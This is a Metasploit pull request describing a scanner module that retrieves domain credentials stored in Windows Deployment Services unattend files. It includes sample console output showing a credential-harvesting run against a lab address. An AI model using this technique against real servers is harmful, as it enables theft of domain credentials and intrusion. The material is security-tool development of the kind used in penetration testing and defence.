rapid7/metasploit-framework — pull request #1164 by Meatballs1 (2012-12-13 10:50:56+00:00)
Title: Windows Deployment Service Scanner

Windows Deployment Services can be configured with domain credentials for PXEBoot clients to perform unattended installation. These are not visible during a PXE deployment, (but can be observed in clear text by monitoring network traffic).

[*] Binding to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040] ...
[+] Bound to 1A927394-352E-4553-AE3F-7CF4AAFCA620:1.0:71710533-beba-4937-8319-b5dbef9ccc36:1@ncacn_ip_tcp:192.168.5.1[5040]
[*] Sending X64 Client Unattend request ...
[*] Raw version of X64 saved as: C:/Documents and Settings/user/.msf4/loot/20121213104745_default_192.168.5.1_windows.unattend_399005.txt
[+] Retrived wds credentials for X64
[*] Sending X86 Client Unattend request ...
[*] Sending IA64 Client Unattend request ...

Windows Deployment Services
===========================

Architecture Type Domain Username Password
------------ ---- ------ -------- --------
X64 wds Fabrikam.com username my_password

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Repackage of https://github.com/rapid7/metasploit-framework/pull/999 to split into smaller chunks.

This module adds:

1) Scanner Module
2) Windows Deployment Services DCERPC Protocol REX Library
3) Unattend Parser REX Library

Have had to make some small changes to DCERPC library to get the correct requests.